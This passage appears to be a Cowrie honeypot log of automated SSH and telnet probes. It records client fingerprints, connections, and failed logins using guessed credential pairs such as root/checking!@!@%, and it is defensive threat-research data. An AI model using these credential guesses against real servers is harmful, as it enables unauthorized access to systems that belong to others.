{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:01.750026Z","src_ip":"109.91.4.177","session":"9ee6bc9eb694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:01.907608Z","src_ip":"109.91.4.177","session":"9ee6bc9eb694","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@2023","message":"login attempt [deploy/deploy@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:02.597029Z","src_ip":"109.91.4.177","session":"9ee6bc9eb694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:03.740569Z","src_ip":"109.91.4.177","session":"9ee6bc9eb694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":40976,"dst_ip":"10.17.0.5","dst_port":22,"session":"77d4732d0b8e","protocol":"ssh","message":"New connection: 103.77.242.62:40976 (10.17.0.5:22) [session: 77d4732d0b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:05.728426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:05.734074Z","src_ip":"103.77.242.62","session":"77d4732d0b8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:05.973296Z","src_ip":"103.77.242.62","session":"77d4732d0b8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41844,"dst_ip":"10.17.0.5","dst_port":23,"session":"663d6763b5c8","protocol":"telnet","message":"New connection: 50.6.8.71:41844 (10.17.0.5:23) [session: 663d6763b5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:06.534884Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:06.686980Z","src_ip":"103.77.242.62","session":"77d4732d0b8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":47872,"dst_ip":"10.17.0.5","dst_port":22,"session":"88aa4c12ba7e","protocol":"ssh","message":"New connection: 94.159.98.239:47872 (10.17.0.5:22) [session: 88aa4c12ba7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:07.415996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:07.635002Z","src_ip":"94.159.98.239","session":"88aa4c12ba7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:07.639647Z","src_ip":"94.159.98.239","session":"88aa4c12ba7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:07.926592Z","src_ip":"103.77.242.62","session":"77d4732d0b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:08.647932Z","src_ip":"94.159.98.239","session":"88aa4c12ba7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:09.806285Z","src_ip":"94.159.98.239","session":"88aa4c12ba7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":45632,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe7fa6ee817b","protocol":"ssh","message":"New connection: 103.176.20.57:45632 (10.17.0.5:22) [session: fe7fa6ee817b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:11.923323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:11.928359Z","src_ip":"103.176.20.57","session":"fe7fa6ee817b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:12.174138Z","src_ip":"103.176.20.57","session":"fe7fa6ee817b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:12.915753Z","src_ip":"103.176.20.57","session":"fe7fa6ee817b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:14.164745Z","src_ip":"103.176.20.57","session":"fe7fa6ee817b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":57233,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dc74ba8bab9","protocol":"ssh","message":"New connection: 201.77.124.248:57233 (159.203.135.109:22) [session: 7dc74ba8bab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:14.384938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:14.390345Z","src_ip":"201.77.124.248","session":"7dc74ba8bab9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:14.531651Z","src_ip":"201.77.124.248","session":"7dc74ba8bab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"security","password":"security1","message":"login attempt [security/security1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:15.109397Z","src_ip":"201.77.124.248","session":"7dc74ba8bab9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:16.469922Z","src_ip":"201.77.124.248","session":"7dc74ba8bab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":52020,"dst_ip":"10.17.0.5","dst_port":22,"session":"57cdf4799f46","protocol":"ssh","message":"New connection: 103.149.28.157:52020 (10.17.0.5:22) [session: 57cdf4799f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:16.734328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:16.743507Z","src_ip":"103.149.28.157","session":"57cdf4799f46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:16.988133Z","src_ip":"103.149.28.157","session":"57cdf4799f46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:17.720815Z","src_ip":"103.149.28.157","session":"57cdf4799f46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:18.977118Z","src_ip":"103.149.28.157","session":"57cdf4799f46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":53450,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c9716ff8537","protocol":"ssh","message":"New connection: 193.228.128.84:53450 (10.17.0.5:22) [session: 3c9716ff8537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:24.222756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:24.227607Z","src_ip":"193.228.128.84","session":"3c9716ff8537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:24.333937Z","src_ip":"193.228.128.84","session":"3c9716ff8537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:24.696425Z","src_ip":"193.228.128.84","session":"3c9716ff8537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":56982,"dst_ip":"10.17.0.5","dst_port":22,"session":"f00f76c80af0","protocol":"ssh","message":"New connection: 51.250.105.222:56982 (10.17.0.5:22) [session: f00f76c80af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:25.303134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:25.308987Z","src_ip":"51.250.105.222","session":"f00f76c80af0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:25.440554Z","src_ip":"51.250.105.222","session":"f00f76c80af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:25.805498Z","src_ip":"193.228.128.84","session":"3c9716ff8537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:25.834120Z","src_ip":"51.250.105.222","session":"f00f76c80af0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":34244,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7e03257e722","protocol":"ssh","message":"New connection: 103.27.238.120:34244 (10.17.0.5:22) [session: c7e03257e722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:25.868997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:41:25.874992Z","src_ip":"103.27.238.120","session":"c7e03257e722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-